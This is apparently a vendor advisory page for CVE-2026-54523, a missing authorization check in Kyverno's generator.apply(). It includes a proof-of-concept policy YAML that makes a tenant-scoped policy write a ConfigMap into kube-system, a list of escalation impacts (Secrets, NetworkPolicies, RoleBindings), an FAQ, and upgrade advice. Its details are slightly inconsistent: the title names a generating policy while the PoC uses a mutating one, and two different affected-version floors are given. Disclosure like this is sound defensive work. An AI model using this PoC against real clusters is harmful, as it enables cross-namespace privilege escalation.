CVE-2026-54523

Kyverno's NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system

apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedMutatingPolicy
metadata:
  name: cross-ns-escalate
  namespace: tenant-ns
spec:
  matchConstraints:
    resourceRules:
    - apiGroups: [""]
      apiVersions: ["v1"]
      resources: ["configmaps"]
      operations: ["CREATE"]
  mutations:
  - patchType: applyConfiguration
    applyConfiguration:
      expression: object
  matchConditions:
  - name: trigger-escalation
    expression: |
      generator.apply("kube-system", [
        {
          "apiVersion": dyn("v1"),
          "kind": dyn("ConfigMap"),
          "metadata": dyn({
            "name": "kube-system-config",
            "namespace": "kube-system"
          }),
          "data": dyn({
            "injected-by": "tenant-policy",
            "impact": "unauthorized access to kube-system namespace"
          })
        }
      ])

A namespace-scoped user with create on NamespacedMutatingPolicy in >=v1.18.1 can create ConfigMaps, NetworkPolicies, Secrets, and other resources in any namespace using the admission controller's cluster-wide RBAC. This allows:

Injecting sensitive configuration into protected namespaces (e.g., kube-system, default)
Disrupting cluster networking via NetworkPolicies
Privilege escalation via RoleBinding creation (for roles the admission controller holds or lesser-privileged roles)
Privilege escalation via RoleBinding creation in other namespaces
Any installation that grants non-admin users access to NamespacedMutatingPolicy creation is affected.

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

CVE-2026-54523 has a CVSS score of 9.6 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.18.2); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is CVE-2026-54523? CVE-2026-54523 is a critical-severity missing authorization vulnerability in github.com/kyverno/kyverno (go), affecting versions >= 1.18.0, <= 1.18.1. It is fixed in 1.18.2. The application does not perform an authorization check before performing a sensitive operation.
2. How severe is CVE-2026-54523? CVE-2026-54523 has a CVSS score of 9.6 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/kyverno/kyverno are affected by CVE-2026-54523? github.com/kyverno/kyverno (go) versions >= 1.18.0, <= 1.18.1 is affected.
4. Is there a fix for CVE-2026-54523? Yes. CVE-2026-54523 is fixed in 1.18.2. Upgrade to this version or later.
5. Is CVE-2026-54523 exploitable, and should I be worried? Whether CVE-2026-54523 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-54523 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-54523? Upgrade github.com/kyverno/kyverno to 1.18.2 or later.